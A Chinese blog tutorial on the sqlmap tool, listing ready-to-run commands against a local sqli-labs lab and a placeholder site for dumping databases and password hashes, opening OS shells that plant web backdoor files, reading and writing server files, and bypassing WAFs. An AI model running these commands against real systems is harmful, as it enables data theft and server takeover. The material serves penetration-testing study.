SQLmap使用详解

SQLmap使用详解

一、SQLmap常规使用步骤

 1、查询注入点

  python sqlmap.py -v 3 -u http://127.0.0.1/sqli-labs/Less-1/?id=1
 2、查询所有数据库
  python sqlmap.py -v 3 -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --dbs
 3、查询当前数据库
  python sqlmap.py -v 3 -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --current-dbs
 4、查表
  python sqlmap.py -v 3 -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D xxx --tables
 5、查列
  python sqlmap.py -v 3 -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D xxx -T xxx --columns
 6、查数据
  python sqlmap.py -v 3 -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D xxx -T xxx --dump

二、命令详解

 1、输出级别

  -v 指定回显信息的复杂度,共7个级别,0-6,默认1

  • 0:只显示python错误以及严重的信息。
  • 1:同时显示基本信息和警告信息。(默认)
  • 2:同时显示debug信息。
  • 3:同时显示注入的payload。
  • 4:同时显示HTTP请求。
  • 5:同时显示HTTP响应头。
  • 6:同时显示HTTP响应页面。

  一般使用等级3,可以看到SQLmap发送的测试payload;

  eg:python sqlmap.py -v 3 -u http://127.0.0.1/sqli-labs/Less-1/?id=1

 2、目标

  

  2.1、指定URL

  -u 参数,指定需要检测的url,单/双引号包裹,中间如果有提示,输入y

  提示:SQLmap不能直接扫描网站漏洞,先找到注入点,再使用SQLmap验证并利用注入点

  2.2、指定文件

  -m 指定文件,可以批量扫描文件中的url

  2.3、指定数据库/表/字段

  -D 指定目标「数据库」,单/双引号包裹,常配合其他参数使用。

  -T 指定目标「表」,单/双引号包裹,常配合其他参数使用。

  -C 指定目标「字段」,单/双引号包裹,常配合其他参数使用。

  2.4、POST请求

  检测POST请求的注入点,使用BP等工具抓包,将http请求内容保存到txt文件中

  -r 指定需要检测的文件,SQLmap会通过POST请求方式检测目标

  2.5、cookie注入

  --cookie 指定cookie的值,单/双引号包裹

 

 3、脱库

  -a 就是all的意思,获取所有能获取的内容,会消耗很长时间

  3.1、获取数据库   

  --dbs 获取数据库
  --current-db 获取当前数据库


  3.2、获取表 

  --tables 获取表
  Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -D 'security' --tables
  Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -D 'security,dvwa' --tables
  //同时获取多个库的表名,逗号隔开


  3.3、获取字段

  --columns 获取字段
  Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -D 'security' -D 'user' --columns
  只指定库名不指定表名会报错,指定库名不指定表名,默认获取当前数据库中所有表的字段


  3.4、获取字段类型

  --schema 获取字段类型,
  可以指定库或指定表。不指定则获取数据库中所有字段的类型。

  Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -D 'security' -D 'user' -C --schema


  3.5、获取值

  --dump 表中的数据,可以指定具体的库,表,字段,只指定库名可获取库中所有表的数据
  Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -D 'security' -D 'user' -C 'username,password' --dump

  默认获取表中的所有数据,可以使用 --start --stop 指定开始和结束的行,只获取一部分数据。
  Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -D 'security' -D 'user' -C 'username,password' --start1 --stop 5 --dump


  3.6、获取用户

  --current-user 获取当前登录数据库的用户名
  Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' --current-user

  --user 获取数据库的所有用户名
  Sqlmap -u 'http://xxx.com/user.php?id=1' --user

  --passwords 获取所有数据库用户的密码(哈希值)
  Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' --password

  --privileges 查看每个数据库用户都有哪些权限

  --is-dbs 判断当前用户是不是管理员,如果是管理员,会显示true


  3.7、获取主机名

  --hostname 获取服务器主机名

  3.8、搜索库、表、字段

  --search 搜索数据库中是否存在指定库,表,字段;需要指定库名,表名,字段名
  Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -D 'security' --search
  Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -T 'users' --search
  Sqlmap -v 3 -u 'http://xxx.com/user.php?id=1' -C 'user' --search

  3.9、正在执行的SQL语句

  --statements 获取数据库中正在执行的SQL语句

 4、其他

  --batch (默认确认)不再询问是否确认。

  --method=GET 指定请求方式(GET/POST)

  --random-agent 随机切换UA(User-Agent)

  --user-agent ' ' 使用自定义的UA(User-Agent)

  --referer ' ' 使用自定义的 referer

  --proxy="127.0.0.1:8080" 指定代理

  --threads 10 设置线程数,最高10

  --level=1 执行测试的等级(1-5,默认为1,常用3)

  指需要执行的测试等级,一共有5个等级(1~5),不加 level 默认是1。5级包含的 Payload 最多,会自动破解出 cookie、XFF等头部注入。当然,level 5的运行速度也比较慢。
  这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie 在 level 为2时就会测试,HTTP User-Agent/Referer 头在 level 为3时就会测试。总之,在不确定哪个 payload 或参数为注入点时,为了保证全面性,建议使用高的 level 值
  

  --risk=1 风险级别(0~3,默认1,常用1),级别提高会增加数据被篡改的风险。


  --sql-shell:运行自定义SQL语句

  该命令用于执行指定的SQL语句,如下所示,假设执行select * from users limit 0,1语句,如下所示:
  sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --sql-shell


  --os-cmd,--os-shell:运行任意操作系统命令

  在当前用户有权限使用特定的函数的前提下,如果数据库为MySQL、PostgreSQL,Sqlmap会上传一个二进制库,包含用户自定义的函数sys_exec () 和sys_eval (),那么创建的这两个函数就可以执行系统命令。
  如果数据库是微软 SQL Server时,Sqlmap通过存储过程 xp_cmdshell 来执行任意命令,如果 xp_cmdshell 被禁用(SQL Server 2005及以上版本默认被禁用),则Sqlmap会重新启用它;如果不存在,会自动创建。
  用--os-shell参数可以模拟一个真实的Shell,输入想执行的命令。当不能执行多语句时(如PHP或ASP+Mysql),仍然可以使用 INTO OUTFILE写进可写目录,创建一个Web后门。
  Sqlmap支持ASP、ASP.NET、JSP和PHP四种语言(要想执行该参数,需要有数据库管理员权限,也就是--is-dba的值要为True)。

  1.执行系统命令:
  sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --os-cmd=ipconfig
  执行后根据提示选择网站语言,然后回车,指定目标站点根目录,然后继续回车即可完整执行命令。
  2.执行shell:
  sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --os-shell
  执行后根据提示选择网站语言,然后回车,指定目标站点根目录后回车,输入命令即可执行。
  执行命令后会在网站根目录上传两个文件:tmpbxbxz.php、tmpuoiuz.php(此文件为上传页面)


  --file-read:从数据库服务器中读取文件

  该命令用于读取执行文件,当数据库为MySQL、PostgreSQL或MicrosoftSQL Server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。
  sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --file-read "C:/11.txt"
  执行完会把文件保存到本地目录下

  --file-write --file-dest:上传文件到数据库服务器中

  该命令用于写入本地文件到服务器中,当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,上传的文件可以是文本,也可以是二进制文件。
  sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --file-write "C:/1.txt" --file-dest "C:/windows/Temp/1.php"
  执行结束即可把本地的1.txt 文件上传到目标服务器下

  

 5、WAF绕过

  --tamper 指定绕过脚本,
  Sqlmap -u 'http://xxx.com/user.php?id=1' --tamper 'space2comment.py'
  SQLmap内置脚本位置:/usr/share/sqlmap/tamper

 6、参考

  https://www.cnblogs.com/wwcdg/p/15913888.html

  https://www.cnblogs.com/wwcdg/p/15913888.html

 日常随笔学习记录,如有侵权请联系silentmode10086@gmail.com删除

  • 9
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值